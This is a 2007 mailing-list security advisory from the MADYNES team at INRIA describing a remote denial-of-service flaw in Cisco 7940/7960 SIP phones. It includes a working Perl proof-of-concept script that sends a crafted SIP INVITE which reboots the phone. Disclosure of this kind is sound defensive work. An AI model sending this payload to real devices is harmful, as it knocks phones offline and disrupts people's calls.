[VOIPSEC] CISCO Phone 7940 DOS vulnerability

Radu State state at loria.fr
Tue Mar 20 04:28:33 EDT 2007


MADYNES Security Advisory 


http://madynes.loria.fr



Severity: High

Title: Cisco 7940 SIP INVITE remote DOS 

Date: February 19, 2007

ID: KIPH2


Synopsis: After sending a cra fted INVITE message the device immediately
reboots. The phone does not check properly the sipURI field of the
Remote-Party-ID in the message.

The vendor was informed and acknowledged the vulnerability. This
vulnerability was identified by the Madynes research team at INRIA
Lorraine, using the Madynes VoIP fuzzer.


Background: SIP is the IETF standardized (RFCs 2543 and 3261) protocol
for VoIP signalization. SIP is an ASCII based INVITE message is used to
initiate and maintain a communication session. 


Affected devices: Cisco phone 7940/7960 running firmware P0S3-07-4-00


Unaffected: devices running firmware POS8-6-0



Proof of Concept Code: 


#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);


$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

Proto=>'udp',

PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP
192.168.1.2;branch=z9hG4jk\r\nFrom: sip:chirimolla
\@192.168.1.2;tag=qwzng\r\nTo: <sip:$ARGV[2]\@$ARGV[0];user=ip>\r
\nCall-ID: fosforito\@192.168.1.1\r\nCSeq: 921 INVITE\r
\nRemote-Party-ID: csip:7940-1\@192.168.\xd1.7\r\n\r\n";

$socket->send($msg);



Description: After receiving one crafted SIP INVITE message, the
affected device reboots immediately. The proof of concept code can be
used to demonstrate the vulnerability.



Impact 

A malicious user can remotely crash and perform a denial of service
attack by sending one crafted SIP INVITE message. This is conceptually
similar to the “ping of death”. 


Resolution:

Fixed software is available from the vendor and customers following
recommended best practices (ie segregating VOIP traffic from data) will
be protected from malicious traffic in most situations. 







Credits:

Humberto J. Abdelnur (Ph.D Student)

Radu State (Ph.D)

Olivier Festor (Ph.D)

This vulnerability was identified by the Madynes research team at INRIA

Lorraine, using the Madynes VoIP fuzzer.

http://madynes.loria.fr/




Information about us: Madynes is a research team at INRIA Lorraine
working on VoIP Security assessment, intrusion detection and prevention.





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